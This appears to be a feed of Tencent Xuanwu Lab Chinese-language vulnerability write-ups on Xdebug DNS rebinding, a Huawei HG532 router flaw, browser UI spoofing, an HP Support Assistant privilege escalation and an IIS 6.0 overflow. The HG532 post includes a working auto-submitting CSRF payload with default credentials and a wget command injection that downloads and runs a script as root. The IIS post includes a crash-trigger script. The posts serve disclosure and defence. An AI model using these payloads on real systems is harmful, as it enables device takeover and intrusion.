我们都知道,在浏览器里发送带有非simple header的CORS请求的时候,需要先发送一个preflight request探测服务器是否允许发送这种请求头。此检测过程是由一个OPTIONS请求完成的。如果OPTIONS请求的响应头里有Access-Control-Allow-Headers: X-Forwarded-For这一项的话,才能发送带有X-Forwarded-For的GET或者POST请求。在受害者的本地环境中,几乎不会有这种响应头的。

不过,攻击者可以采用DNS Rebind的方式来绕过这个限制。攻击者首先自己搭建一个DNS解析服务器,让自己控制的域名在发生第一次DNS解析的时候指向攻击者的服务器,以后都解析到127.0.0.1。这样当受害者访问攻击者的页面(http://attacker-domain-with-dns-rebind/exp.html)的时候,会从攻击者的服务器上拉取攻击代码,使浏览器循环向http://attacker-domain-with-dns-rebind/index.php?XDEBUG_SESSION_START发送带有恶意X-Forwarded-For头的请求。因为攻击者存放攻击代码的页面和触发Xdebug回连请求的url在同一个域内,即可不用发送前面所说的preflight request。

由于DNS的解析结果也存在一定的缓存时间,在浏览器里大概需要1分钟的时间才会失效进行第二次解析。在发生第二次解析的时候,其指向的IP地址会变为127.0.0.1,即向受害者本地的服务器发送能触发Xdebug反弹的请求,这时候攻击者的服务器就能收到来自受害者Xdebug的连接了。攻击者可以通过DBGp协议中的eval命令在客户端执行任意php代码。

我们认为漏洞的成因是Xdebug从X-Forwarded-For头中取IP作为回连地址,而X-Forwarded-For头是不可信的。

玄武实验室于2018年3月26日将此问题报告给PHP官方,PHP官方人员于2018年3月30日作出回应,不认为这是一个安全问题,并将报告转为bug使之处于公开状态。玄武实验室建议PHP开发人员和安全研究人员在Xdebug的配置文件中根据当前情况增加xdebug.remote_host配置项,来防止自己遭受此攻击。

参考文献
https://bugs.php.net/bug.php?id=76149
https://ricterz.me/posts/Xdebug%3A%20A%20Tiny%20Attack%20Surface
https://medium.com/0xcc/visual-studio-code-silently-fixed-a-remote-code-execution-vulnerability-8189e85b486b
http://bluec0re.blogspot.ch/2018/03/cve-2018-7160-pwning-nodejs-developers.html

]]>
对华为HG532远程命令执行漏洞的新探索 //xlab.tencent.com/cn/2018/01/05/a-new-way-to-exploit-cve-2017-17215/ Fri, 05 Jan 2018 06:23:21 +0000 //xlab.tencent.com/cn/?p=344 继续阅读“对华为HG532远程命令执行漏洞的新探索”]]> 2017年11月27日Check Point 公司报告了一个华为 HG532 系列路由器的远程命令执行漏洞,漏洞编号为CVE-2017-17215。利用该漏洞,向路由器UPnP服务监听的37215端口发送一个特殊构造的 HTTP 请求包,即可触发命令执行。此端口在默认配置下并不能从外网访问,但由于该系列路由器数量极其巨大,所以互联网上仍有较多可访问到该端口的设备存在。目前已经有蠕虫在利用这些暴露在互联网上的端口进行传播[1]。

近期国内外已有不少对该漏洞原理的分析[2],在此不再赘述。但我们发现该漏洞实际的威胁可能比目前大家所认为的更为严重,某些对该漏洞的防御建议也是不够的甚至错误的。37215端口暴露在互联网上的HG532系列设备只占其中很少一部分,就已经足够多到被蠕虫利用,而如果其它那些只在内网能访问到的37215端口也可以被攻击者利用呢?

在2013年,国内爆发了一次家用路由器 DNS 劫持事件,利用的是WEB安全里的CSRF攻击技术。这种攻击技术能利用在现在HG532路由器的这个漏洞上吗?如果可以,那么只要诱使HG532路由器的用户用手机、电脑访问一个恶意页面,就可以导致路由器完全被攻击者控制。

我们从漏洞的PoC开始看起。在PoC里,漏洞成功利用需要构造一个XML格式的POST请求包,并且需要通过服务器端的HTTP基础认证,payload里并没有需要预测的部分。因此这个请求进行CSRF攻击测试只需要完成两点。一是成功通过服务器端的HTTP基础认证,二是构造XML攻击代码。

首先来看HTTP基础认证的部分。如果通不过HTTP基础认证,服务器会返回401错误,无法到达存在问题的逻辑。目前网络流传的PoC大部分为在HTTP的请求头里构造一个适用于基础认证的字段。

Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"

在现代浏览器中,要想在HTTP请求头中增加自定义的项只能通过XMLHTTPRequest的方式来发出请求,同时需要服务端返回允许添加头部内容的列表。而UPnP服务是不允许XMLHTTPRequest在请求头中添加这一项的。为了绕过这个限制,我们可以采用DNS Rebind的技术。但是我们真的需要这么复杂的攻击方式吗?

仔细观察HTTP基础认证的字段,我们可以发现,用于基础认证的用户名和密码为dslf-config:admin。因此我们只需要构造表单,使之POST到http:// dslf-config:admin @routerip:37215即可自动完成基础认证。

接下来就是如何用表单来构造一个XML的请求包了。为了不让浏览器对请求体编码,需要指定表单的enctype为text/plain,利用input标签的name和value两个属性的值可以构造出我们想要的内容。
最终构造的CSRF攻击payload样例如下。

<body onload='document.forms[0].submit()'>
  <form method='POST' enctype='text/plain' action="http://dslf-config:admin@192.168.1.1:37215/ctrlt/DeviceUpgrade_1">
    <input name='<?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>a' value='1;$(/bin/busybox wget -g 192.168.1.2 -l /tmp/.f -r /b);</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>'>
  </form>
</body>

攻击者只要诱使用户访问包含上述代码的页面,存在漏洞的路由器就会远程下载一个bash脚本并以root的身份执行。

所以,实际上几乎所有存在漏洞的华为 HG532 系列路由器都面临着被远程攻击的风险,而不只是37215端口暴露在互联网上的那些。一条包含恶意链接的短信就可以让你的路由器被攻击者控制。而一旦路由器被控制,就可能导致内网其它设备的沦陷。

同时,根据我们的实际测试,即使用户关闭了UPnP服务,存在漏洞的路由器在重启后仍然能遭受攻击。并且修改路由器管理口令并不会影响UPnP服务基础认证所用的口令。所以试图关闭UPnP服务和修改路由器管理口令来防范该漏洞都是不可行的。

此外,即使将 HG532 内置防火墙等级设置为高,也无法防御此种利用方式的攻击。

最有效的防御方式是安装新版固件。目前在HG532e产品页面[4]中可以看到的最新固件是2016年11月7日的版本[4]。虽然官方安全公告中并未说明该固件已不受CVE-2017-17215的影响,但据我们的分析和测试,至少目前所知的CVE-2017-17215漏洞攻击方式对此版本固件是无效的。

此外,如果把路由器LAN侧IP地址改成非默认地址,如下图中改为了192.168.2.1,也可对攻击造成一定程度的干扰。但攻击者仍有可能用很多其他方法获知到真正的路由器LAN侧IP地址。

最后感谢tk提出的攻击思路,感谢huimingliu、hyperchem在获取路由器shell过程中提供的巨大帮助。

演示视频:

参考资料
[1] 腾讯蜜罐系统捕获高危IoT蠕虫Okiru
http://slab.qq.com/news/tech/1705.html
[2] Huawei HG532 系列路由器远程命令执行漏洞分析
https://paper.seebug.org/490/
[3] 关于HG532产品存在远程代码执行安全漏洞的声明
http://www.huawei.com/cn/psirt/security-notices/huawei-sn-20171130-01-hg532-cn
[4] HG532e产品页面
http://m.huawei.com/cnxmobile/consumer-ncbdtest/home-internet/broadband-devices/detail/hg532e-cn.htm

]]>
Browser UI Security 技术白皮书 //xlab.tencent.com/cn/2017/10/16/browser-ui-security-whitepaper/ Mon, 16 Oct 2017 05:26:14 +0000 //xlab.tencent.com/cn/?p=332 继续阅读“Browser UI Security 技术白皮书”]]> Browser UI ,是指浏览器用户界面。浏览器经过几十年的发展,对于用户界面并没有一个统一的规定标准,目前大多数现代浏览器的用户界面包括:前进和后退按钮、刷新和停止加载按钮、地址栏、状态栏、页面显示窗口、查看源代码窗口、标签等。另外可能还会有一些其他的用户界面,例如下载管理、页面查找、通知、系统选项管理、隐身窗口等等。我们可以把Browser UI认为是一个前端标签式的页面管理器或者Web的外壳,用户不必去考虑浏览器应用程序底层是如何处理数据的,所有的网络行为结果,均由Browser UI去展现给用户。

从安全的角度来说,浏览器UI上最容易发生的攻击就是用户界面欺骗,也就是UI Spoof。通常UI Spoof被用来进行网络钓鱼攻击使用。网络钓鱼是社会工程学中用于欺骗用户,进而获取用户的敏感信息的一种攻击手段,通常使用伪造网站等方法,诱使用户从视觉感官上相信其是合法真实的,当用户在浏览器中进行操作后,敏感信息就有可能被攻击者获取到。

因此浏览器UX团队在开发UI过程中,在便捷用户浏览的同时,对UI安全模型上的设计、策略、逻辑也显得非常重要,安全的UI能帮助用户在上网时快速、准确的做出正确安全的决策。 而UI一旦出现了缺陷,攻击者就可能伪造浏览器UI中的某些关键信息,进而对用户实施网络钓鱼攻击。

本技术白皮书中将给大家介绍什么是UI Spoof漏洞,并对多个浏览器UI上的安全漏洞进行详细分析。

下载链接: Browser-UI-Security-技术白皮书.pdf

]]>
从一个补了三次的漏洞看WCF的安全编程 //xlab.tencent.com/cn/2017/09/11/safe-coding-of-wcf-viewed-from-a-longlive-vulnerability/ Mon, 11 Sep 2017 07:02:44 +0000 //xlab.tencent.com/cn/?p=292 继续阅读“从一个补了三次的漏洞看WCF的安全编程”]]> 背景

笔者在2016年11月发现并报告了HP Support Assistant (HPSA) 的权限提升漏洞,HP Product Security Response Team (HP PSRT) 响应迅速,但却以此漏洞可以通过软件的自动更新功能自动修复为由拒绝为其发布安全公告和CVE。4月份想起这件事后,笔者又分析了一遍修补后的HPSA,发现HP的开发人员在修补中犯了更为低级的错误,导致补丁可以被绕过重新实现权限提升。在随后与HP PSRT的沟通与合作中,再一次利用其它技巧绕过了其后续修补,最终笔者协助HP PSRT完成了漏洞的修补。

本文将分析此漏洞的成因及多次补丁绕过,希望能以此为案例提高开发人员对安全的认识和理解,以减少由于对所用技术理解不到位和安全编程意识匮乏而导致的安全漏洞。

问题描述

HPSA是惠普推出的系统管理软件,被默认安装在惠普的所有PC中。其用于维护系统及打印机,并提供自动更新等功能。HPSA使用.Net开发,其系统服务HPSupportSolutionsFrameworkService使用WCF与客户端通信,完成系统更新、管理等高权限敏感操作。虽然HPSA使用了较新的分布式处理技术WCF,然而在Server与Client通信过程中,却采用了不正确的认证方式。导致攻击者可以绕过认证,最终利用其敏感服务接口的缺陷,实现everyone到system的权限提升。

本文将从WCF技术背景、漏洞发现、漏洞利用、补丁实现和两次绕过几个方面进行分析。

WCF技术背景

WCF(Windows Communication Foundation) 是用于面向服务应用程序的编程框架,基于WCF的服务可以有两种形式:1). 通过IIS寄宿的方式将服务寄宿于IIS中; 2). 通过自我寄宿(Self-Hosting)的方式将服务寄宿于普通应用程序、windows服务之中。

WCF使用Endpoint的概念,在服务Endpoint和客户Endpoint之间传输异步消息。 Endpoint用来描述消息发往什么地方,如何被发送等行为。一个服务端Endpoint主要由三部分构成:

1). Addrsss
唯一标识endpoint,是描述服务接口的URI,可以是相对地址(相对于ServiceHost(Type, Uri[])的URI),也可以是绝对地址。

2). Binding
指定绑定在endpoint上的接口类型,描述endpoint间通信时使用的协议、消息编码方式、安全设置等。
WCF支持:HttpBindingBase, MsmqBindingBase, NetNamedPipeBinding, NetPeerTcpBinding, NetTcpBinding, UdpBinding, WebHttpBinding, WSDualHttpBinding, WSHttpBindingBase, CustomBinding多种绑定类型。

3). Contract
契约指定并设置绑定到当前endpoint上的服务接口,即哪些方法被导出给客户端,方法的授权情况、消息格式等。

漏洞成因

HPSA的系统服务HPSupportSolutionsFrameworkService具有SYSTEM权限,并开启了多个允许everyone账户读写的NamePipe。这一敏感行为引起了笔者的注意,因此dump下安装包进一步分析。

反混淆反编译后进行代码审计,发现HPSA的系统服务使用WCF与Client进行交互。它创建了一个绑定在NetNamedPipeBinding(URI:”net.pipe://localhost/HPSupportSolutionsFramework/HPSA”)上的Endpoint,并允许Client调用多个绑定在此Endpoint上的服务接口:HP.SupportFramework.ServiceManager.Interfaces::IServiceInterface。

HPSA在连接建立时对Client进行了认证,以阻止敏感接口被恶意程序调用。Server与Client的交互过程如下表所示:

Timeline Client Server
0 创建 Endpoint
1 实例化HP.SupportFramework.ServiceManager.Interfaces命名空间中ServiceInterface类, 创建一个随机GUID, 将其作为参数调用绑定在 Endpoint 上的 StartClientSession(string guid); StartClientSession(string guid)接收Client传递过来的随机GUID, 创建命名管道HPSA_guid, 等待Client连接
2 连接Server创建的命名管道HPSA_guid, 进行身份“认证”
3 通过GetNamedPipeClientProcessId()获取Client的PID, 通过Process.get_MainModule().get_FileName();获取进程路径, 对Client的签名进行验证
4 若签名验证通过, 生成一个ClientId(随机数)和一个Token(GUID), 并将ClientId、Token、CallerName保存到内部维护的“Client对象链表”中, 最后将随机数ClientId发送给Client。关闭命名管道
5 接收到Server返回的ClientId(随机数)后, 将其保存在ServiceInterface.ClientInfo.ClientId中。关闭命名管道
6 调用绑定在 Endpoint上的 GetClientToken(ServiceInterface.ClientInfo.ClientId), 通过ClientId从Server处获取Token, 转换成SecureString, 保存在ServiceInterface.ClientInfo.Token中, Token将作为临时身份令牌使用 GetClientToken(int clientId) 接收Client传过来的ClientId, 从“Client对象链表”中索引其对应的Token(secureString形式的GUID)并返回
7 随后Client即可使用随机数Token作为参数, 调用绑定在StartClientSession上的其它敏感服务接口 绑定在Endpoint上的敏感操作, 例如DeleteFile(string filePath, string token), 在收到Client发送来的Token时, 通过遍历Client对象链表来验证调用者身份

在Server与Client的交互过程中,HPSupportSolutionsFrameworkService使用了多种途径来确保安全:验证Client是否为HP签名、使用SecureString存储GUID、使用RNGCryptoServiceProvider生成随机数、调用敏感接口时验证Client的Token。

千里之堤毁于蚁穴,在看似缜密的认证逻辑中却存在安全漏洞:HPSupportSolutionsFrameworkService使用Process.MainModule.FileName获取Client的文件路径,随后验证其文件签名。然而,在C#中Process.MainModule.FileName是通过调用GetModuleFileName()索引进程的PEB (Process Environment Block)来获取模块路径的。PEB位于进程的用户空间中,因此可以被攻击者修改替换。攻击者只需在连接Server的Endpoint前修改PEB,使模块路径指向一个有效的HP签名文件即可绕过签名检测,最终通过认证。

漏洞利用

绕过HPSA Server的认证后,就可以调用绑定在此Endpoint上的服务接口函数了。接下来的工作就是从可用的服务接口函数中寻找可以利用的方法,实现权限提升。HPSupportSolutionsFrameworkService的服务接口函数实现在HP.SupportFramework.ServiceManager.ServiceTasks::ServiceTask中,大致浏览一遍接口函数发现UncompressCabFile服务接口可以用于任意文件写,DeleteFile服务接口可以用于任意文件删除。

UncompressCabFile的实现逻辑如下:

public bool UncompressCabFile(string cabFilePath, string destDirectory, string token)
{
    if (!\u0004.Instance.\u0001(SharedCommon.StringToSecureString(token)))
    {
        if (DebugLog.IsDebug)
        {
            DebugLog.LogDebugMessage("signature validation failure for UncompressCabFile", DebugLog.IndentType.None);
        }
        return false;
    }

    if (!File.Exists(cabFilePath))
    {
        return false;
    }

    if (!Validation.VerifyHPSignature(cabFilePath))
    {
        File.Delete(cabFilePath);
        return false;
    }

    string text = "\"" + cabFilePath + "\"";
    string text2 = "\"" + destDirectory + "\"";
    ProcessStartInfo processStartInfo = new ProcessStartInfo();
    processStartInfo.set_WindowStyle(1);
    processStartInfo.set_Arguments("-qq " + text + " -d " + text2);
    processStartInfo.set_FileName(SupportAssistantCommon.FrameworkPath + "Modules\\unzip.exe");
    Process process = new Process();
    process.set_StartInfo(processStartInfo);
    process.Start();
    process.WaitForExit();

    if (File.Exists(cabFilePath))
    {
        File.Delete(cabFilePath);
    }
    return true;
}

UncompressCabFile利用unzip.exe将压缩文件cabFilePath解压至destDirectory,在解压前首先验证了cab文件的签名。由于在签名验证和解压缩之间存在时间差,因此这里存在TOCTTOU(Time of Check To Time of Use)问题,可以利用条件竞争绕过签名检测将文件写入任意目录,最终可以实现权限提升。

DeleteFile的实现逻辑如下:

public void DeleteFile(string filePath, string token)
{
    if (\u0007.Instance.\u0001(SharedCommon.StringToSecureString(token)))
    {
        try
        {
            File.Delete(filePath);
            return;
        }
        catch (Exception ex)
        {
            if (DebugLog.IsDebug)
            {
                DebugLog.LogDebugMessage("exception in DeleteFile: " + ex.Message, DebugLog.IndentType.None);
            }
            return;
        }
    }

    if (DebugLog.IsDebug)
    {
        DebugLog.LogDebugMessage("token not valid in DeleteFile", DebugLog.IndentType.None);
    }
}

因此利用过程如下所述:
1. 修改PEB,将进程路径指向合法的HP签名程序
2. 通过反射机制获取HP.SupportFramework.ServiceManager.Interfaces命名空间中ServiceInterface类的get_Instance()方法
3. 实例化ServiceInterface
4. 调用ServiceInterface::UncompressCabFile服务接口,结合条件竞争实现权限提升

补丁实现和绕过1

漏洞报告后HP PSRT快速响应,并在半个月内通过邮件告知已经发布了新版来解决此安全漏洞。4月初,再次分析后发现新版本的HPSA依旧在使用everyone可写的NamePipe,笔者决定针对HP的修复再次分析。

通过短暂的逆向分析,定位了补丁修复位置。补丁在HP.SupportFramework.ServiceManager.Interfaces::ServiceInterface::get_Instance()中添加了如下逻辑:

StackFrame stackFrame = new StackFrame(1);
MethodBase method = stackFrame.GetMethod();
Type declaringType = method.get_DeclaringType();
string name = method.get_Name();

if (name.ToLowerInvariant().Contains("invoke"))
{
    string text2 = new \u0007().\u0001(Process.GetCurrentProcess());
    text2 = Uri.UnescapeDataString(Path.GetFullPath(text2));
    string text3 = Assembly.GetEntryAssembly().get_Location();
    text3 = Uri.UnescapeDataString(Path.GetFullPath(text3));
    if (text3.ToLowerInvariant() != text2.ToLowerInvariant())
    {
        if (DebugLog.IsDebug)
        {
            DebugLog.LogDebugMessage(string.Concat(new string[]
            {
                "Illegal operation. Calling process (",
                text3,
                ") is not the same as process invoking method  (",
                text2,
                ")"
            }), DebugLog.IndentType.None);
        }
        throw new Exception("Invoking methods is not allowed.");
    }
}

namespace \u0007
{
    // Token: 0x02000081 RID: 129
    internal sealed class \u0007
    {
        internal string \u0001(Process \u0002)
        {
            try
            {
                string result = \u0002.get_MainModule().get_FileName();
                return result;
            }
            …
        }
        …
    }
}

以上代码在实例化时,首先通过Assembly.GetEntryAssembly().get_Location()获取Client的文件路径,并与通过Process.MainModule.FileName方法获取的Client模块路径进行对比,如果不一致则抛出异常。

.Net的运行时环境规定,拥有同样标识的.Net程序集只能被加载一次。由于HP.SupportFramework.ServiceManager.dll已经被HPSupportSolutionsFrameworkService加载,所以HP的开发人员认为此举可以有效阻止攻击者通过修改PEB,并利用反射机制创建ServiceInterface来绕过认证。

然而,HP的.Net开发人员显然是忽视了进程空间的安全边界。此处所做的检测仍然位于Client进程空间,如同修改PEB那样,Client依旧拥有权限修改进程空间内的数据和代码。Client可以采取多种方案绕过检测:
1. 在实例化前,定位并修改HP.SupportFramework.ServiceManager.dll中的检测逻辑;
2. 自己实现与Server的交互,认证,服务接口调用等;
3. 静态Patch检测逻辑,并修改程序集HP.SupportFramework.ServiceManager.dll的标识,使修改后的文件可以被加载进Client进程空间。

其中方案3最为简洁,这里可以直接利用工具修改其判断逻辑为 if (text3.ToLowerInvariant() == text2.ToLowerInvariant()),并修改程序集的版本号(微软官方文档中描述了影响.Net可执行程序标识的属性包括:AssemblyCultureAttribute, AssemblyFlagsAttribute, AssemblyVersionAttribute [3])。最终实现对补丁的绕过,重新实现权限提升。

补丁实现和绕过2

又一次,将漏洞和修补方案报告给HP PSRT后,HP的开发人员从两个方面做了修补:
1. 对Client的认证方式做调整,Server不再使用Process.MainModule.FileName获取Client的文件路径,而是通过GetProcessImageFileName()来获取,避免从PEB获取到被篡改的Client文件路径。
2. 在UncompressCabFile和DeleteFile中,检查了参数里的文件/目录路径是否合法。

查看UncompressCabFile和DeleteFile里的文件/目录路径检测逻辑,发现其仅仅使用了字符串比较来检测路径是否合法,而不是对规范化后的路径进行检测。代码如下:

internal static bool \u0001(string \u0002)
{
    string[] array = new string[]
    {
        "AppData\\Local\\Hewlett-Packard\\HP Support Framework",
        Environment.GetFolderPath(Environment.SpecialFolder.CommonApplicationData) + "\\Hewlett-Packard\\HP Support Framework",
        SupportAssistantCommon.MainAppPath,
        SupportAssistantCommon.FrameworkPath
    };
    string[] array2 = array;

    for (int i = 0; i < array2.Length; i++)
    {
        string text = array2[i];
        if (\u0002.ToLowerInvariant().Contains(text.ToLowerInvariant()))
        {
            return true;
        }
    }

    if (DebugLog.IsDebug)
    {
        DebugLog.LogDebugMessage("Invalid File detected: " + \u0002, DebugLog.IndentType.None);
    }
    return false;
}

因此这里使用目录穿越即可绕过路径检查。对Client的认证也很容易绕过,使用Hewlett-Packard安装目录里任意一个拥有有效签名的程序,将漏洞利用代码注入其中即可绕过对Client的认证检测。

最终,HP PSRT修正了路径检测的逻辑,增加了对目录穿越行为的检测,相关代码如下所示:

    internal static bool \u0002(string \u0002)
    {
        if (!Path.IsPathRooted(\u0002) || \u0002.StartsWith("\\") || \u0002.Contains("..") || \u0002.Contains(".\\"))
        {
            if (DebugLog.IsDebug)
            {
                DebugLog.LogDebugMessage("Invalid File detected: " + \u0002, DebugLog.IndentType.None);
            }
            return false;
        }
        return true;
    }

笔者在漏洞细节中建议HP PSRT彻查所有服务接口的安全性,对其参数进行正确的检测,以免再次被攻击者利用。

总结

安全漏洞会在软件生命周期(需求分析、设计、实现、维护等过程)内的各个阶段被引入,研发人员除了需要在设计和实现阶段避免安全漏洞外,还需要在出现漏洞后运用合理的修补方案。这里HPSA出现的问题就是在设计、实现、维护阶段共同引入的。

1). 设计阶段
也许是为了保证未签名程序也可以调用服务端的非敏感接口(例如DecryptFile, DeleteTempSession等未验证Client身份的服务接口),又或许是为了让Guest用户也可以对系统进行更新等操作。最终导致HPSA没有利用系统提供的访问权限检查机制[2]来隔离权限边界,使得软件从设计之初就引入安全风险。

2). 实现阶段
HPSA的开发人员未意识到通过Process.MainModule.FileName获取Client文件路径的不安全性,从而导致认证可以被绕过;也未意识到敏感服务接口的危险性,未对敏感服务接口的参数的合法性进行正确检测,从而导致可以被攻击者用于权限提升。事实上,任何试图通过进程对应的文件来检查进程安全性的做法都是存在安全隐患的。

3). 维护阶段
在对一个漏洞的三次修补过程中,HPSA的开发人员更是忽视了进程的安全边界,使用了多种错误的修补方案,导致补丁被多次绕过。

从这个漏洞的成因和多次修补可以看出,HP的开发人员存在对所用技术理解不到位,缺乏安全编程经验的问题。希望这篇文章能给研发人员带来安全编程的思考和经验的提升,不在设计、实现、维护阶段发生类似HPSA这样的一系列错误。

Timeline

  • 11/30/2016    Provide vulnerability details and PoC to HP Inc. via hp-security-alert@hp.com
  • 12/02/2016    HP Inc. responded that they had validated and opened case PSR-2016-0118 for the issue
  • 12/13/2016    HP Inc. released a fix for the reported issue
  • 01/04/2017    HP Inc. responded that the vulnerability was fixed
  • 01/05/2017    Ask for more information
  • 01/14/2017    HP Inc. responded that they are still investigating
  • 02/03/2017    HP Inc. responded that this issue can be automatically resolved, thus they don’t issue security bulletin and CVE numbers
  • 04/20/2017    Report the patch can be bypass. Provide vulnerability details and PoC to HP Inc.
  • 04/20/2017    HP Inc. responded that they had validated and opened case PSR-2017-0056 for the issue
  • 05/29/2017    HP Inc. responded that the fixed version will be released in mid-June 2017
  • 06/07/2017    HP Inc. published a new patch and asked me to confirm the vulnerability doesn’t exist
  • 06/07/2017    Report the patch can be bypass again. Provide vulnerability details and PoC to HP Inc. Also, provide some repair advice.
  • 06/15/2017    HP Inc. published a new patch and asked me to confirm the vulnerability doesn’t exist
  • 06/15/2017    Confirm the patch is valid. And recommend HP Inc. make sure there no other vulnerable functions can be exploited now, nor will be in the future.
  • 08/31/2017    HP Inc. published a security bulletin (https://support.hp.com/sk-en/document/c05648974) and issued a CVE (CVE-2017-2744).
  • 09/11/2017    Report the patch can be bypass with junction point. Provide vulnerability details to HP Inc.
  • 10/06/2017    HP Inc. responded that they restricted the directories within c:\program files\hewlett-packard\ to prevent the bypass.

Reference

1. Windows Communication Foundation Security
https://msdn.microsoft.com/en-us/library/ms732362(v=vs.110).aspx

2. Authentication and Authorization in WCF Services – Part 1
https://msdn.microsoft.com/en-us/library/ff405740.aspx

3. Setting Assembly Attributes
https://msdn.microsoft.com/en-us/library/4w8c1y2s(v=vs.110).aspx

]]>
深入分析NSA用了5年的IIS漏洞 //xlab.tencent.com/cn/2017/04/18/nsa-iis-vulnerability-analysis/ Tue, 18 Apr 2017 08:07:17 +0000 //xlab.tencent.com/cn/?p=274 继续阅读“深入分析NSA用了5年的IIS漏洞”]]> Author: Ke Liu of Tencent’s Xuanwu Lab

1. 漏洞简介

1.1 漏洞简介

2017年3月27日,来自华南理工大学的 Zhiniang Peng 和 Chen Wu 在 GitHub [1] 上公开了一份 IIS 6.0 的漏洞利用代码,并指明其可能于 2016 年 7 月份或 8 月份被用于黑客攻击活动。

该漏洞的编号为 CVE-2017-7269 [2],由恶意的 PROPFIND 请求所引起:当 If 字段包含形如 <http://localhost/xxxx> 的超长URL时,可导致缓冲区溢出(包括栈溢出和堆溢出)。

微软从 2015 年 7 月 14 日开始停止对 Windows Server 2003 的支持,所以这个漏洞也没有官方补丁,0patch [3] 提供了一个临时的解决方案。

无独有偶,Shadow Brokers 在2017年4月14日公布了一批新的 NSA 黑客工具,笔者分析后确认其中的 Explodingcan 便是 CVE-2017-7269 的漏洞利用程序,而且两个 Exploit 的写法如出一辙,有理由认为两者出自同一团队之手:

  • 两个 Exploit 的结构基本一致;
  • 都将 Payload 数据填充到地址 0x680312c0
  • 都基于 KiFastSystemCall / NtProtectVirtualMemory 绕过 DEP;

本文以 3 月份公布的 Exploit 为基础,详细分析该漏洞的基本原理和利用技巧。

1.2 原理概述

  • CStackBuffer 既可以将栈设置为存储区(少量数据)、也可以将堆设置为存储区(大量数据);
  • CStackBuffer 分配存储空间时,误将 字符数 当做 字节数 使用,此为漏洞的根本原因;
  • 因为栈上存在 cookie,不能直接覆盖返回地址;
  • 触发溢出时,改写 CStackBuffer 对象的内存,使之使用地址 0x680312c0 作为存储区;
  • 将 Payload 数据填充到 0x680312c0
  • 程序存在另一处类似的漏洞,同理溢出后覆盖了栈上的一个指针使之指向 0x680313c0
  • 0x680313c0 将被当做一个对象的起始地址,调用虚函数时将接管控制权;
  • 基于 SharedUserData 调用 KiFastSystemCall 绕过 DEP;
  • URL 会从 UTF-8 转为 UNICODE 形式;
  • Shellcode 使用 Alphanumeric 形式编码(UNICODE);

2. 漏洞原理

2.1 环境配置

在 Windows Server 2003 R2 Standard Edition SP2 上安装 IIS 并为其启用 WebDAV 特性即可。
为IIS启用WebDAV特性

修改 Exploit 的目标地址,执行后可以看到 svchost.exe 启动 w3wp.exe 子进程,后者以 NETWORK SERVICE 的身份启动了 calc.exe 进程 。
CVE-2017-7269 IIS远程代码执行漏洞exploit

2.2 初步调试

首先,为进程 w3wp.exe 启用 PageHeap 选项;其次,修改 Exploit 的代码,去掉其中的 Shellcode,使之仅发送超长字符串。

import socket

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect(('192.168.75.134',80))
pay='PROPFIND / HTTP/1.1\r\nHost: localhost\r\nContent-Length: 0\r\n'
pay+='If: <http://localhost/aaaaaaa'
pay+='A'*10240
pay+='>\r\n\r\n'
sock.send(pay)

执行之后 IIS 服务器上会启动 w3wp.exe 进程(并不会崩溃),此时将 WinDbg 附加到该进程并再次执行测试代码,即可在调试器中捕获到 first chance 异常,可以得到以下信息:

  • httpext!ScStoragePathFromUrl+0x360 处复制内存时产生了堆溢出;
  • 溢出的内容和大小看起来是可控的;
  • 被溢出的堆块在 httpext!HrCheckIfHeader+0x0000013c 处分配;
  • 崩溃所在位置也是从函数 httpext!HrCheckIfHeader 执行过来的;
  • 进程带有异常处理,因此不会崩溃;
$$ 捕获 First Chance 异常
0:020> g
(e74.e80): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00005014 ebx=00002809 ecx=00000a06 edx=0781e7e0 esi=0781a7e4 edi=07821000
eip=67126fdb esp=03fef330 ebp=03fef798 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010206
httpext!ScStoragePathFromUrl+0x360:
67126fdb f3a5            rep movs dword ptr es:[edi],dword ptr [esi]

0:006> r ecx
ecx=00000a06

0:006> db esi
0781a7e4  41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00  A.A.A.A.A.A.A.A.
0781a7f4  41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00  A.A.A.A.A.A.A.A.
0781a804  41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00  A.A.A.A.A.A.A.A.
0781a814  41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00  A.A.A.A.A.A.A.A.
0781a824  41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00  A.A.A.A.A.A.A.A.
0781a834  41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00  A.A.A.A.A.A.A.A.
0781a844  41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00  A.A.A.A.A.A.A.A.
0781a854  41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00  A.A.A.A.A.A.A.A.

$$ 目标堆块分配调用栈
0:006> !heap -p -a edi
    address 07821000 found in
    _DPH_HEAP_ROOT @ 7021000
    in busy allocation (  DPH_HEAP_BLOCK:  UserAddr  UserSize - VirtAddr  VirtSize)
                                 7023680:   781e7d8      2828 -  781e000      4000
    7c83d97a ntdll!RtlAllocateHeap+0x00000e9f
    5b7e1a40 staxmem!MpHeapAlloc+0x000000f3
    5b7e1308 staxmem!ExchMHeapAlloc+0x00000015
    67125df9 httpext!CHeap::Alloc+0x00000017
    67125ee1 httpext!ExAlloc+0x00000008
    67125462 httpext!HrCheckIfHeader+0x0000013c
    6712561e httpext!HrCheckStateHeaders+0x00000010
    6711f659 httpext!CPropFindRequest::Execute+0x000000f0
    6711f7c5 httpext!DAVPropFind+0x00000047
    $$ ......

$$ 调用栈
0:006> k
ChildEBP RetAddr  
03fef798 67119469 httpext!ScStoragePathFromUrl+0x360
